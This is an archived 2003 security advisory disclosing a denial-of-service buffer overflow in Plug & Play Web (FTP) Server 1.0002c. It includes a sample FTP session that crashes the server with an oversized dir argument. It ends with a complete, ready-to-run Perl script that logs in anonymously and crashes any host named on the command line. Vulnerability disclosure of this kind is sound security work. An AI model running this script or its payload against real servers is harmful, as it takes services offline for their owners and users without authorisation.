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pandpdos.txt

pandpdos.txt
Posted Sep 18, 2003
Authored by Bahaa Naamnmeh | Site bsecurity.tk

The Plug and Play Web Server version 1.0002c is susceptible to multiple buffer overflow attacks that cause the server to crash.

tags | exploit, web, overflow
SHA-256 | 2b68d648120147ab8417ee871e9d52d166dd19a55bd2cd64fc864ba5ce18e676

pandpdos.txt

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Denial Of Service in Plug & Play Web (FTP) Server


Introduction:
========
"The Plug and Play Web Server provides all of the tools you need to host
your
own website. The tools are bundled together in one comprehensive software
package that it is incredibly easy to use and maintain."
- Vendors Description
[ http://www.pandpsoftware.com ]


Details:
=====
Vulnerable systems: Plug & Play Web Server version 1.0002c

A vulnerability has been identified in Plug & Play Web (FTP) server
V1.0002c,
which allows malicious users to remotely crash the server. By connecting to
the server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD)
followed by large amounts of data, the server crashes.

dir [Ax509]

ls [Ax509]

delete [Ax509]

mkdir [Ax509]

DELE [Ax509]

RMD [Ax509]

MKD [Ax509]

Example:
--------------------
ftp> o 127.0.0.1
Connected to 127.0.0.1.
220 Plug and Play Web Server V1.0
User (127.0.0.1:(none)): anonymous
331 Password required for anonymous
Password:
230 User anonymous logged in
ftp> dir
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
200 PORT command successful
Connection closed by remote host.
ftp> o 127.0.0.1
>ftp: connect :Unknown error number
ftp>
--------------------


Vendor status:
=========
The vendor has been informed, and they are fixing this bug.
The updated version, when released, can be downloaded from:

http://www.pandpsoftware.com/download.htm


Exploit:
=====
#!/usr/bin/perl
#
# ppftpdos.pl - Remote denial of service against Plug & Play Web server
V1.0002c
#
# A vulnerability has been identified in Plug & Play FTP server V1.0002c,
which
# allows malicious users to remotely crash the server. By connecting to the
# server and issuing a command (dir, ls, delete, mkdir, DELE, RMD, MKD)
# followed by large amounts of data, the server crashes. For more info, go
to:
# http://bsecurity.4t.com/advisories/pandpdos.txt
#
# Usage : ./ppftpdos.pl <host/ip>
#
# Vulnerability & code by Bahaa Naamneh
# Contact : b_naamneh@hotmail.com - www.bsecurity.tk

use Net::FTP;

$host = $ARGV[0];

$buffer =
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';

if("$ARGV[0]" eq "") {
print("DOS against Plug & Play FTP Server by Bahaa Naamneh\n");
print("b_naamneh@hotmail.com - http://www.bsecurity.tk\n");
print("====================================================\n");
die("Usage : ./PPftpdos <host\/ip>\n");
} else {

print("Connecting to $host...\n");
my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";
print("Connected!\n");

$username = "anonymous";
$password = "anonymous";

$ftp->login($username, $password)
or die "Could not log in.\n";

$ftp->dir($buffer);

$ftp->quit();

print("Server crashed!\n");
}


Discovered by/Credit:
==============
Bahaa Naamneh
b_naamneh@hotmail.com
http://www.bsecurity.tk

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